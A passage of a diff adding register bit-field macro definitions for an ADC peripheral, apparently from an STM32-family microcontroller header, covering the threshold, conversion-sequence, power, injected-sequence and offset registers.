ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 